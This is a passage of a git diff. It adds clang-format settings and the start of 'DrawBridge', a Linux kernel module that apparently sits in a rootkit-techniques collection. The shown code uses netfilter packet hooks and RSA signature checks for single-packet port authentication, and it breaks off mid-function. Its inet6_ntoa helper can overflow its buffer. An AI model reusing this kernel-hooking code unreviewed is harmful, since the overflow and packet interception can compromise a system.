'blkg_for_each_descendant_pre' + - 'blk_queue_for_each_rl' + - 'bond_for_each_slave' + - 'bond_for_each_slave_rcu' + - 'bpf_for_each_spilled_reg' + - 'btree_for_each_safe128' + - 'btree_for_each_safe32' + - 'btree_for_each_safe64' + - 'btree_for_each_safel' + - 'card_for_each_dev' + - 'cgroup_taskset_for_each' + - 'cgroup_taskset_for_each_leader' + - 'cpufreq_for_each_entry' + - 'cpufreq_for_each_entry_idx' + - 'cpufreq_for_each_valid_entry' + - 'cpufreq_for_each_valid_entry_idx' + - 'css_for_each_child' + - 'css_for_each_descendant_post' + - 'css_for_each_descendant_pre' + - 'cxl_for_each_cmd' + - 'device_for_each_child_node' + - 'dma_fence_chain_for_each' + - 'do_for_each_ftrace_op' + - 'drm_atomic_crtc_for_each_plane' + - 'drm_atomic_crtc_state_for_each_plane' + - 'drm_atomic_crtc_state_for_each_plane_state' + - 'drm_atomic_for_each_plane_damage' + - 'drm_client_for_each_connector_iter' + - 'drm_client_for_each_modeset' + - 'drm_connector_for_each_possible_encoder' + - 'drm_for_each_bridge_in_chain' + - 'drm_for_each_connector_iter' + - 'drm_for_each_crtc' + - 'drm_for_each_crtc_reverse' + - 'drm_for_each_encoder' + - 'drm_for_each_encoder_mask' + - 'drm_for_each_fb' + - 'drm_for_each_legacy_plane' + - 'drm_for_each_plane' + - 'drm_for_each_plane_mask' + - 'drm_for_each_privobj' + - 'drm_mm_for_each_hole' + - 'drm_mm_for_each_node' + - 'drm_mm_for_each_node_in_range' + - 'drm_mm_for_each_node_safe' + - 'flow_action_for_each' + - 'for_each_active_dev_scope' + - 'for_each_active_drhd_unit' + - 'for_each_active_iommu' + - 'for_each_aggr_pgid' + - 'for_each_available_child_of_node' + - 'for_each_bio' + - 'for_each_board_func_rsrc' + - 'for_each_bvec' + - 'for_each_card_auxs' + - 'for_each_card_auxs_safe' + - 'for_each_card_components' + - 'for_each_card_dapms' + - 'for_each_card_pre_auxs' + - 'for_each_card_prelinks' + - 'for_each_card_rtds' + - 'for_each_card_rtds_safe' + - 'for_each_card_widgets' + - 'for_each_card_widgets_safe' + - 'for_each_cgroup_storage_type' + - 'for_each_child_of_node' + - 'for_each_clear_bit' + - 'for_each_clear_bit_from' + - 'for_each_cmsghdr' + - 'for_each_compatible_node' + - 'for_each_component_dais' + - 'for_each_component_dais_safe' + - 'for_each_comp_order' + - 'for_each_console' + - 'for_each_cpu' + - 'for_each_cpu_and' + - 'for_each_cpu_not' + - 'for_each_cpu_wrap' + - 'for_each_dapm_widgets' + - 'for_each_dev_addr' + - 'for_each_dev_scope' + - 'for_each_displayid_db' + - 'for_each_dma_cap_mask' + - 'for_each_dpcm_be' + - 'for_each_dpcm_be_rollback' + - 'for_each_dpcm_be_safe' + - 'for_each_dpcm_fe' + - 'for_each_drhd_unit' + - 'for_each_dss_dev' + - 'for_each_efi_memory_desc' + - 'for_each_efi_memory_desc_in_map' + - 'for_each_element' + - 'for_each_element_extid' + - 'for_each_element_id' + - 'for_each_endpoint_of_node' + - 'for_each_evictable_lru' + - 'for_each_fib6_node_rt_rcu' + - 'for_each_fib6_walker_rt' + - 'for_each_free_mem_pfn_range_in_zone' + - 'for_each_free_mem_pfn_range_in_zone_from' + - 'for_each_free_mem_range' + - 'for_each_free_mem_range_reverse' + - 'for_each_func_rsrc' + - 'for_each_hstate' + - 'for_each_if' + - 'for_each_iommu' + - 'for_each_ip_tunnel_rcu' + - 'for_each_irq_nr' + - 'for_each_link_codecs' + - 'for_each_link_cpus' + - 'for_each_link_platforms' + - 'for_each_lru' + - 'for_each_matching_node' + - 'for_each_matching_node_and_match' + - 'for_each_member' + - 'for_each_memcg_cache_index' + - 'for_each_mem_pfn_range' + - '__for_each_mem_range' + - 'for_each_mem_range' + - '__for_each_mem_range_rev' + - 'for_each_mem_range_rev' + - 'for_each_mem_region' + - 'for_each_migratetype_order' + - 'for_each_msi_entry' + - 'for_each_msi_entry_safe' + - 'for_each_net' + - 'for_each_net_continue_reverse' + - 'for_each_netdev' + - 'for_each_netdev_continue' + - 'for_each_netdev_continue_rcu' + - 'for_each_netdev_continue_reverse' + - 'for_each_netdev_feature' + - 'for_each_netdev_in_bond_rcu' + - 'for_each_netdev_rcu' + - 'for_each_netdev_reverse' + - 'for_each_netdev_safe' + - 'for_each_net_rcu' + - 'for_each_new_connector_in_state' + - 'for_each_new_crtc_in_state' + - 'for_each_new_mst_mgr_in_state' + - 'for_each_new_plane_in_state' + - 'for_each_new_private_obj_in_state' + - 'for_each_node' + - 'for_each_node_by_name' + - 'for_each_node_by_type' + - 'for_each_node_mask' + - 'for_each_node_state' + - 'for_each_node_with_cpus' + - 'for_each_node_with_property' + - 'for_each_nonreserved_multicast_dest_pgid' + - 'for_each_of_allnodes' + - 'for_each_of_allnodes_from' + - 'for_each_of_cpu_node' + - 'for_each_of_pci_range' + - 'for_each_old_connector_in_state' + - 'for_each_old_crtc_in_state' + - 'for_each_old_mst_mgr_in_state' + - 'for_each_oldnew_connector_in_state' + - 'for_each_oldnew_crtc_in_state' + - 'for_each_oldnew_mst_mgr_in_state' + - 'for_each_oldnew_plane_in_state' + - 'for_each_oldnew_plane_in_state_reverse' + - 'for_each_oldnew_private_obj_in_state' + - 'for_each_old_plane_in_state' + - 'for_each_old_private_obj_in_state' + - 'for_each_online_cpu' + - 'for_each_online_node' + - 'for_each_online_pgdat' + - 'for_each_pci_bridge' + - 'for_each_pci_dev' + - 'for_each_pci_msi_entry' + - 'for_each_pcm_streams' + - 'for_each_physmem_range' + - 'for_each_populated_zone' + - 'for_each_possible_cpu' + - 'for_each_present_cpu' + - 'for_each_prime_number' + - 'for_each_prime_number_from' + - 'for_each_process' + - 'for_each_process_thread' + - 'for_each_property_of_node' + - 'for_each_registered_fb' + - 'for_each_requested_gpio' + - 'for_each_requested_gpio_in_range' + - 'for_each_reserved_mem_range' + - 'for_each_reserved_mem_region' + - 'for_each_rtd_codec_dais' + - 'for_each_rtd_components' + - 'for_each_rtd_cpu_dais' + - 'for_each_rtd_dais' + - 'for_each_set_bit' + - 'for_each_set_bit_from' + - 'for_each_set_clump8' + - 'for_each_sg' + - 'for_each_sg_dma_page' + - 'for_each_sg_page' + - 'for_each_sgtable_dma_page' + - 'for_each_sgtable_dma_sg' + - 'for_each_sgtable_page' + - 'for_each_sgtable_sg' + - 'for_each_sibling_event' + - 'for_each_subelement' + - 'for_each_subelement_extid' + - 'for_each_subelement_id' + - '__for_each_thread' + - 'for_each_thread' + - 'for_each_unicast_dest_pgid' + - 'for_each_vsi' + - 'for_each_wakeup_source' + - 'for_each_zone' + - 'for_each_zone_zonelist' + - 'for_each_zone_zonelist_nodemask' + - 'fwnode_for_each_available_child_node' + - 'fwnode_for_each_child_node' + - 'fwnode_graph_for_each_endpoint' + - 'gadget_for_each_ep' + - 'genradix_for_each' + - 'genradix_for_each_from' + - 'hash_for_each' + - 'hash_for_each_possible' + - 'hash_for_each_possible_rcu' + - 'hash_for_each_possible_rcu_notrace' + - 'hash_for_each_possible_safe' + - 'hash_for_each_rcu' + - 'hash_for_each_safe' + - 'hctx_for_each_ctx' + - 'hlist_bl_for_each_entry' + - 'hlist_bl_for_each_entry_rcu' + - 'hlist_bl_for_each_entry_safe' + - 'hlist_for_each' + - 'hlist_for_each_entry' + - 'hlist_for_each_entry_continue' + - 'hlist_for_each_entry_continue_rcu' + - 'hlist_for_each_entry_continue_rcu_bh' + - 'hlist_for_each_entry_from' + - 'hlist_for_each_entry_from_rcu' + - 'hlist_for_each_entry_rcu' + - 'hlist_for_each_entry_rcu_bh' + - 'hlist_for_each_entry_rcu_notrace' + - 'hlist_for_each_entry_safe' + - 'hlist_for_each_entry_srcu' + - '__hlist_for_each_rcu' + - 'hlist_for_each_safe' + - 'hlist_nulls_for_each_entry' + - 'hlist_nulls_for_each_entry_from' + - 'hlist_nulls_for_each_entry_rcu' + - 'hlist_nulls_for_each_entry_safe' + - 'i3c_bus_for_each_i2cdev' + - 'i3c_bus_for_each_i3cdev' + - 'ide_host_for_each_port' + - 'ide_port_for_each_dev' + - 'ide_port_for_each_present_dev' + - 'idr_for_each_entry' + - 'idr_for_each_entry_continue' + - 'idr_for_each_entry_continue_ul' + - 'idr_for_each_entry_ul' + - 'in_dev_for_each_ifa_rcu' + - 'in_dev_for_each_ifa_rtnl' + - 'inet_bind_bucket_for_each' + - 'inet_lhash2_for_each_icsk_rcu' + - 'key_for_each' + - 'key_for_each_safe' + - 'klp_for_each_func' + - 'klp_for_each_func_safe' + - 'klp_for_each_func_static' + - 'klp_for_each_object' + - 'klp_for_each_object_safe' + - 'klp_for_each_object_static' + - 'kunit_suite_for_each_test_case' + - 'kvm_for_each_memslot' + - 'kvm_for_each_vcpu' + - 'list_for_each' + - 'list_for_each_codec' + - 'list_for_each_codec_safe' + - 'list_for_each_continue' + - 'list_for_each_entry' + - 'list_for_each_entry_continue' + - 'list_for_each_entry_continue_rcu' + - 'list_for_each_entry_continue_reverse' + - 'list_for_each_entry_from' + - 'list_for_each_entry_from_rcu' + - 'list_for_each_entry_from_reverse' + - 'list_for_each_entry_lockless' + - 'list_for_each_entry_rcu' + - 'list_for_each_entry_reverse' + - 'list_for_each_entry_safe' + - 'list_for_each_entry_safe_continue' + - 'list_for_each_entry_safe_from' + - 'list_for_each_entry_safe_reverse' + - 'list_for_each_entry_srcu' + - 'list_for_each_prev' + - 'list_for_each_prev_safe' + - 'list_for_each_safe' + - 'llist_for_each' + - 'llist_for_each_entry' + - 'llist_for_each_entry_safe' + - 'llist_for_each_safe' + - 'mci_for_each_dimm' + - 'media_device_for_each_entity' + - 'media_device_for_each_intf' + - 'media_device_for_each_link' + - 'media_device_for_each_pad' + - 'nanddev_io_for_each_page' + - 'netdev_for_each_lower_dev' + - 'netdev_for_each_lower_private' + - 'netdev_for_each_lower_private_rcu' + - 'netdev_for_each_mc_addr' + - 'netdev_for_each_uc_addr' + - 'netdev_for_each_upper_dev_rcu' + - 'netdev_hw_addr_list_for_each' + - 'nft_rule_for_each_expr' + - 'nla_for_each_attr' + - 'nla_for_each_nested' + - 'nlmsg_for_each_attr' + - 'nlmsg_for_each_msg' + - 'nr_neigh_for_each' + - 'nr_neigh_for_each_safe' + - 'nr_node_for_each' + - 'nr_node_for_each_safe' + - 'of_for_each_phandle' + - 'of_property_for_each_string' + - 'of_property_for_each_u32' + - 'pci_bus_for_each_resource' + - 'pcl_for_each_chunk' + - 'pcl_for_each_segment' + - 'pcm_for_each_format' + - 'ping_portaddr_for_each_entry' + - 'plist_for_each' + - 'plist_for_each_continue' + - 'plist_for_each_entry' + - 'plist_for_each_entry_continue' + - 'plist_for_each_entry_safe' + - 'plist_for_each_safe' + - 'pnp_for_each_card' + - 'pnp_for_each_dev' + - 'protocol_for_each_card' + - 'protocol_for_each_dev' + - 'queue_for_each_hw_ctx' + - 'radix_tree_for_each_slot' + - 'radix_tree_for_each_tagged' + - 'rbtree_postorder_for_each_entry_safe' + - 'rdma_for_each_block' + - 'rdma_for_each_port' + - 'rdma_umem_for_each_dma_block' + - 'resource_list_for_each_entry' + - 'resource_list_for_each_entry_safe' + - 'rhl_for_each_entry_rcu' + - 'rhl_for_each_rcu' + - 'rht_for_each' + - 'rht_for_each_entry' + - 'rht_for_each_entry_from' + - 'rht_for_each_entry_rcu' + - 'rht_for_each_entry_rcu_from' + - 'rht_for_each_entry_safe' + - 'rht_for_each_from' + - 'rht_for_each_rcu' + - 'rht_for_each_rcu_from' + - '__rq_for_each_bio' + - 'rq_for_each_bvec' + - 'rq_for_each_segment' + - 'scsi_for_each_prot_sg' + - 'scsi_for_each_sg' + - 'sctp_for_each_hentry' + - 'sctp_skb_for_each' + - 'shdma_for_each_chan' + - '__shost_for_each_device' + - 'shost_for_each_device' + - 'sk_for_each' + - 'sk_for_each_bound' + - 'sk_for_each_entry_offset_rcu' + - 'sk_for_each_from' + - 'sk_for_each_rcu' + - 'sk_for_each_safe' + - 'sk_nulls_for_each' + - 'sk_nulls_for_each_from' + - 'sk_nulls_for_each_rcu' + - 'snd_array_for_each' + - 'snd_pcm_group_for_each_entry' + - 'snd_soc_dapm_widget_for_each_path' + - 'snd_soc_dapm_widget_for_each_path_safe' + - 'snd_soc_dapm_widget_for_each_sink_path' + - 'snd_soc_dapm_widget_for_each_source_path' + - 'tb_property_for_each' + - 'tcf_exts_for_each_action' + - 'udp_portaddr_for_each_entry' + - 'udp_portaddr_for_each_entry_rcu' + - 'usb_hub_for_each_child' + - 'v4l2_device_for_each_subdev' + - 'v4l2_m2m_for_each_dst_buf' + - 'v4l2_m2m_for_each_dst_buf_safe' + - 'v4l2_m2m_for_each_src_buf' + - 'v4l2_m2m_for_each_src_buf_safe' + - 'virtio_device_for_each_vq' + - 'while_for_each_ftrace_op' + - 'xa_for_each' + - 'xa_for_each_marked' + - 'xa_for_each_range' + - 'xa_for_each_start' + - 'xas_for_each' + - 'xas_for_each_conflict' + - 'xas_for_each_marked' + - 'xbc_array_for_each_value' + - 'xbc_for_each_key_value' + - 'xbc_node_for_each_array_value' + - 'xbc_node_for_each_child' + - 'xbc_node_for_each_key_value' + - 'zorro_for_each_dev' + +#IncludeBlocks: Preserve # Unknown to clang-format-5.0 +IncludeCategories: + - Regex: '.*' + Priority: 1 +IncludeIsMainRegex: '(Test)?$' +IndentCaseLabels: false +#IndentPPDirectives: None # Unknown to clang-format-5.0 +IndentWidth: 4 +IndentWrappedFunctionNames: false +JavaScriptQuotes: Leave +JavaScriptWrapImports: true +KeepEmptyLinesAtTheStartOfBlocks: false +MacroBlockBegin: '' +MacroBlockEnd: '' +MaxEmptyLinesToKeep: 1 +NamespaceIndentation: None +#ObjCBinPackProtocolList: Auto # Unknown to clang-format-5.0 +ObjCBlockIndentWidth: 8 +ObjCSpaceAfterProperty: true +ObjCSpaceBeforeProtocolList: true + +# Taken from git's rules +#PenaltyBreakAssignment: 10 # Unknown to clang-format-4.0 +PenaltyBreakBeforeFirstCallParameter: 30 +PenaltyBreakComment: 10 +PenaltyBreakFirstLessLess: 0 +PenaltyBreakString: 10 +PenaltyExcessCharacter: 100 +PenaltyReturnTypeOnItsOwnLine: 60 + +PointerAlignment: Right +ReflowComments: false +SortIncludes: false +#SortUsingDeclarations: false # Unknown to clang-format-4.0 +SpaceAfterCStyleCast: false +SpaceAfterTemplateKeyword: true +SpaceBeforeAssignmentOperators: true +#SpaceBeforeCtorInitializerColon: true # Unknown to clang-format-5.0 +#SpaceBeforeInheritanceColon: true # Unknown to clang-format-5.0 +SpaceBeforeParens: ControlStatements +#SpaceBeforeRangeBasedForLoopColon: true # Unknown to clang-format-5.0 +SpaceInEmptyParentheses: false +SpacesBeforeTrailingComments: 1 +SpacesInAngles: false +SpacesInContainerLiterals: false +SpacesInCStyleCastParentheses: false +SpacesInParentheses: false +SpacesInSquareBrackets: false +Standard: Cpp03 +TabWidth: 4 +UseTab: Never +... + diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/Makefile b/Linux/Rootkit Techniques/DrawBridge/kernel/Makefile new file mode 100644 index 0000000..89b28c4 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/Makefile @@ -0,0 +1,28 @@ +CONFIG_MODULE_SIG=n + +obj-m += drawbridge.o +drawbridge-objs := xt_hook.o xt_listen.o xt_state.o xt_crypto.o utils.o + +KDIR := /lib/modules/$(shell uname -r)/build +PWD := $(shell pwd) +EXTRA_CFLAGS := -O2 + +release: +ifneq ("$(wildcard ./key.h)","") + $(MAKE) -C $(KDIR) M=$(PWD) modules + rm -fr *.o .*.cmd Module.symvers modules.order drawbridge.mod.c +else + @echo "[!] Please ensure you've generated a public key, and that key.h is in this directory" +endif + +debug: +ifneq ("$(wildcard ./key.h)","") + KCPPFLAGS="-DDEBUG" $(MAKE) -C $(KDIR) M=$(PWD) modules + rm -fr *.o .*.cmd Module.symvers modules.order drawbridge.mod.c +else + @echo "[!] Please ensure you've generated a public key, and that key.h is in this directory" +endif + + +clean: + $(MAKE) -C $(KDIR) M=$(PWD) clean diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/compat.h b/Linux/Rootkit Techniques/DrawBridge/kernel/compat.h new file mode 100644 index 0000000..0461e48 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/compat.h @@ -0,0 +1,75 @@ +/** +* @file compat.h +* @brief Kernel Version Specific Prototypes/Compatibility Header +* +* @author Bradley Landherr +* +* @date 03/17/2021 +*/ +#ifndef _LINUX_DRAWBRIDGE_COMPAT +#define _LINUX_DRAWBRIDGE_COMPAT 1 + +static unsigned int pkt_hook_v6(struct sk_buff *skb); +static unsigned int pkt_hook_v4(struct sk_buff *skb); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) +static unsigned int hook_wrapper_v4(void *priv, struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return pkt_hook_v4(skb); +} +static unsigned int hook_wrapper_v6(void *priv, struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return pkt_hook_v6(skb); +} +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(4, 1, 0) +static unsigned int hook_wrapper_v4(const struct nf_hook_ops *ops, + struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return pkt_hook_v4(skb); +} +static unsigned int hook_wrapper_v6(const struct nf_hook_ops *ops, + struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return pkt_hook_v6(skb); +} +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3, 13, 0) +static unsigned int hook_wrapper_v4(const struct nf_hook_ops *ops, + struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + return pkt_hook_v4(skb); +} +static unsigned int hook_wrapper_v6(const struct nf_hook_ops *ops, + struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + return pkt_hook_v6(skb); +} +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3, 0, 0) +static unsigned int hook_wrapper_v4(unsigned int hooknum, struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + return pkt_hook_v4(skb); +} +static unsigned int hook_wrapper_v6(unsigned int hooknum, struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + return pkt_hook_v6(skb); +} +#else +#error "Unsuported kernel version. Only Linux 3.X and greater." +#endif + +#endif /* _LINUX_DRAWBRIDGE_COMPAT */ diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/drawbridge.h b/Linux/Rootkit Techniques/DrawBridge/kernel/drawbridge.h new file mode 100644 index 0000000..9b20c6f --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/drawbridge.h @@ -0,0 +1,122 @@ +/** +* @file drawbridge.h +* @brief Generic module header for Drawbridge +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#ifndef _LINUX_DRAWBRIDGE_H +#define _LINUX_DRAWBRIDGE_H 1 + +// Protocol headers +#include +#include +#include +#include +#include +#include + +// List implementation in kernel +#include + +// Crypto +#include + +// Time +#include + +// Timout Configuration - default 5 min = 300000msec +#define STATE_TIMEOUT 300000 + +// Defaults +#define MAX_PACKET_SIZE 65535 +#define MAX_SIG_SIZE 4096 +#define MAX_DIGEST_SIZE 256 + +#ifdef DEBUG +#define DEBUG_PRINT(fmt, args...) printk(KERN_DEBUG fmt, ##args) +#else +#define DEBUG_PRINT(fmt, args...) /* Don't do anything in release builds */ +#endif + +#define LOG_PRINT(fmt, args...) printk(KERN_NOTICE fmt, ##args) + +/* + * Public key cryptography signature data + */ +typedef struct pkey_signature { + u8 *s; /* Signature */ + u32 s_size; /* Number of bytes in signature */ + u8 *digest; + u32 digest_size; /* Number of bytes in digest */ +} pkey_signature; + +/* + * Connection state for Trigger module + */ +typedef struct conntrack_state { + // IP version type + int type; + + // Destination port + __be16 port; + + // Source IP + union { + struct in6_addr addr_6; + __be32 addr_4; + } src; + + // Timestamps + unsigned long time_added; + unsigned long time_updated; + + // List entry + struct list_head list; + struct rcu_head rcu; + +} conntrack_state; + +// Must be packed so that the compiler doesn't byte align the structure +struct packet { + // Protocol data + struct timespec64 timestamp; + __be16 port; + +} __attribute__((packed)); + +// Typdefs for cleaner code +typedef struct akcipher_request akcipher_request; +typedef struct crypto_akcipher crypto_akcipher; + +// listen.c prototypes +int listen(void *data); +void inet_ntoa(char *str_ip, __be32 int_ip); + +// State API +conntrack_state *init_state(void); +int state_lookup(conntrack_state *head, int type, __be32 src, + struct in6_addr *src_6, __be16 port); +void state_add(conntrack_state *head, int type, __be32 src, + struct in6_addr *src_6, __be16 port); +void cleanup_states(conntrack_state *head); + +// Connection Reaper API +void reap_expired_connections(unsigned long timeout); +struct timer_list *init_reaper(unsigned long timeout); +void cleanup_reaper(struct timer_list *my_timer); + +// Crypto API +akcipher_request *init_keys(crypto_akcipher **tfm, void *data, int len); +void free_keys(crypto_akcipher *tfm, akcipher_request *req); +int verify_sig_rsa(akcipher_request *req, pkey_signature *sig); +void *gen_digest(void *buf, unsigned int len); + + +// Utils +void inet6_ntoa(char *str_ip, struct in6_addr *src_6); +void inet_ntoa(char *str_ip, __be32 int_ip); +void hexdump(unsigned char *buf, unsigned int len); + +#endif /* _LINUX_DRAWBRIDGE_H */ diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/utils.c b/Linux/Rootkit Techniques/DrawBridge/kernel/utils.c new file mode 100644 index 0000000..ec845de --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/utils.c @@ -0,0 +1,70 @@ +/** +* @file utils.c +* @brief Implements helper utilties for Drawbridge +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include + +/** + * @brief IPv4 Network to address display format + * @param str_ip Destination buffer, must be at least 17 bytes + * @param int_ip The address in big endian binary form + * @return void + */ +void inet_ntoa(char *str_ip, __be32 int_ip) +{ + if (!str_ip) + return; + + memset(str_ip, 0, 16); + sprintf(str_ip, "%d.%d.%d.%d", (int_ip)&0xFF, (int_ip >> 8) & 0xFF, + (int_ip >> 16) & 0xFF, (int_ip >> 24) & 0xFF); + + return; +} + +/** + * @brief IPv6 Network to address display format + * @param str_ip Destination buffer, must be at least 17 bytes + * @param src_6 The address in big endian binary form + * @return void + */ +void inet6_ntoa(char *str_ip, struct in6_addr *src_6) +{ + if (!str_ip) + return; + + memset(str_ip, 0, 32); + sprintf( + str_ip, + "%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x", + (int)src_6->s6_addr[0], (int)src_6->s6_addr[1], (int)src_6->s6_addr[2], + (int)src_6->s6_addr[3], (int)src_6->s6_addr[4], (int)src_6->s6_addr[5], + (int)src_6->s6_addr[6], (int)src_6->s6_addr[7], (int)src_6->s6_addr[8], + (int)src_6->s6_addr[9], (int)src_6->s6_addr[10], + (int)src_6->s6_addr[11], (int)src_6->s6_addr[12], + (int)src_6->s6_addr[13], (int)src_6->s6_addr[14], + (int)src_6->s6_addr[15]); + + return; +} + +/** + * @brief Hexdump a buffer if the DEBUG flag is set + * @param buf Source buffer + * @param len Number of bytes to display + * @return void + */ +inline void hexdump(unsigned char *buf, unsigned int len) +{ +#ifdef DEBUG + while (len--) + DEBUG_PRINT("%02x", *buf++); + DEBUG_PRINT("\n"); +#endif +} diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/xt_crypto.c b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_crypto.c new file mode 100644 index 0000000..2a2b91a --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_crypto.c @@ -0,0 +1,299 @@ +/** +* @file xt_crypto.c +* @brief Implements asymmetric crypto wrapper API +* for Single Packet Authentication +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "drawbridge.h" + +// Stores the result of an async operation +typedef struct op_result { + struct completion completion; + int err; +} op_result; + +static const u8 RSA_digest_info_SHA256[] = { + 0x30, 0x31, 0x30, 0x0d, 0x06, + 0x09, 0x60, 0x86, 0x48, 0x01, + 0x65, 0x03, 0x04, 0x02, 0x01, + 0x05, 0x00, 0x04, 0x20 +}; + +typedef struct RSA_ASN1_template { + const u8 *data; + size_t size; +} RSA_ASN1_template; + +RSA_ASN1_template sha256_template; + +akcipher_request *init_keys(crypto_akcipher **tfm, void *data, int len) +{ + // Request struct + int err; + akcipher_request *req; + + *tfm = crypto_alloc_akcipher("rsa", 0, 0); + + if (IS_ERR(*tfm)) { + DEBUG_PRINT(KERN_INFO "[!] Could not allocate akcipher handle\n"); + return NULL; + } + + req = akcipher_request_alloc(*tfm, GFP_KERNEL); + + if (!req) { + DEBUG_PRINT(KERN_INFO + "[!] Could not allocate akcipher_request struct\n"); + return NULL; + } + + err = crypto_akcipher_set_pub_key(*tfm, data, len); + + if (err) { + DEBUG_PRINT(KERN_INFO "[!] Could not set the public key\n"); + akcipher_request_free(req); + return NULL; + } + + return req; +} + +void free_keys(crypto_akcipher *tfm, akcipher_request *req) +{ + if (req) { + akcipher_request_free(req); + } + if (tfm) { + crypto_free_akcipher(tfm); + } +} + +// Callback for crypto_async_request completion routine +static void op_complete(struct crypto_async_request *req, int err) +{ + op_result *res = (op_result *)(req->data); + + if (err == -EINPROGRESS) { + return; + } + res->err = err; + complete(&res->completion); +} + +// Wait on crypto operation +static int wait_async_op(op_result *res, int ret) +{ + if (ret == -EINPROGRESS || ret == -EBUSY) { + wait_for_completion(&(res->completion)); + reinit_completion(&(res->completion)); + ret = res->err; + } + return ret; +} + +void *gen_digest(void *buf, unsigned int len) +{ + struct scatterlist src; + struct crypto_ahash *tfm; + struct ahash_request *req; + unsigned char *output = NULL; + int MAX_OUT; + + tfm = crypto_alloc_ahash("sha256", 0, CRYPTO_ALG_ASYNC); + + if (IS_ERR(tfm)) { + return NULL; + } + + sg_init_one(&src, buf, len); + + req = ahash_request_alloc(tfm, GFP_ATOMIC); + + if (IS_ERR(req)) { + crypto_free_ahash(tfm); + return NULL; + } + + MAX_OUT = crypto_ahash_digestsize(tfm); + output = kzalloc(MAX_OUT, GFP_KERNEL); + + if (!output) { + crypto_free_ahash(tfm); + ahash_request_free(req); + return NULL; + } + + ahash_request_set_callback(req, 0, NULL, NULL); + ahash_request_set_crypt(req, &src, output, len); + + if (crypto_ahash_digest(req)) { + crypto_free_ahash(tfm); + ahash_request_free(req); + kfree(output); + return NULL; + } + + crypto_free_ahash(tfm); + ahash_request_free(req); + + return output; +} + +// Derived from https://github.com/torvalds/linux/blob/db6c43bd2132dc2dd63d73a6d1ed601cffd0ae06/crypto/asymmetric_keys/rsa.c#L101 +// and https://tools.ietf.org/html/rfc8017#section-9.2 +// thanks to Maarten Bodewes for answering my question on Stackoverflow +// https://stackoverflow.com/questions/49662595/linux-kernel-rsa-signature-verification-crypto-akcipher-verify-output +static char *pkcs_1_v1_5_decode_emsa(unsigned char *EM, unsigned long EMlen, + const u8 *asn1_template, size_t asn1_size, + size_t hash_size) +{ + unsigned int t_offset, ps_end, ps_start, i; + + if (EMlen < 2 + 1 + asn1_size + hash_size) + return NULL; + + /* Decode the EMSA-PKCS1-v1_5 + * note: leading zeros are stripped by the RSA implementation in older kernels + * so EM = 0x00 || 0x01 || PS || 0x00 || T + * will become EM = 0x01 || PS || 0x00 || T. + */ +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 8, 0) + ps_start = 1; + if (EM[0] != 0x01) { + DEBUG_PRINT(" = -EBADMSG [EM[0] == %02u]\n", EM[0]); + return NULL; + } +#else + ps_start = 2; + if (EM[0] != 0x00 || EM[1] != 0x01) { + DEBUG_PRINT(" = -EBADMSG [EM[0] == %02u] [EM[1] == %02u]\n", EM[0], + EM[1]); + return NULL; + } +#endif + + // Calculate offsets + t_offset = EMlen - (asn1_size + hash_size); + ps_end = t_offset - 1; + + // Check if there's a 0x00 seperator between PS and T + if (EM[ps_end] != 0x00) { + DEBUG_PRINT(" = -EBADMSG [EM[T-1] == %02u]\n", EM[ps_end]); + return NULL; + } + + // Check the PS 0xff padding + for (i = ps_start; i < ps_end; i++) { + if (EM[i] != 0xff) { + DEBUG_PRINT(" = -EBADMSG [EM[PS%x] == %02u]\n", i - 2, EM[i]); + return NULL; + } + } + + // Compare the DER encoding T of the DigestInfo value + if (crypto_memneq(asn1_template, EM + t_offset, asn1_size) != 0) { + DEBUG_PRINT(" = -EBADMSG [EM[T] ASN.1 mismatch]\n"); + return NULL; + } + + return EM + t_offset + asn1_size; +} + +// Verify a recieved signature +int verify_sig_rsa(akcipher_request *req, pkey_signature *sig) +{ + int err; + void *inbuf, *outbuf, *result = NULL; + op_result res; + struct scatterlist src, dst; + crypto_akcipher *tfm = crypto_akcipher_reqtfm(req); + int MAX_OUT = crypto_akcipher_maxsize(tfm); + + inbuf = kzalloc(PAGE_SIZE, GFP_KERNEL); + + err = -ENOMEM; + if (!inbuf) { + return err; + } + + outbuf = kzalloc(MAX_OUT, GFP_KERNEL); + + if (!outbuf) { + kfree(inbuf); + return err; + } + + // Init completion + init_completion(&(res.completion)); + + // Put the data into our request structure + memcpy(inbuf, sig->s, sig->s_size); + sg_init_one(&src, inbuf, sig->s_size); + sg_init_one(&dst, outbuf, MAX_OUT); + akcipher_request_set_crypt(req, &src, &dst, sig->s_size, MAX_OUT); + + // Set the completion routine callback + // results from the verify routine will be stored in &res + akcipher_request_set_callback( + req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, op_complete, + &res); + + // Compute the expected digest +#if LINUX_VERSION_CODE < KERNEL_VERSION(5, 2, 0) 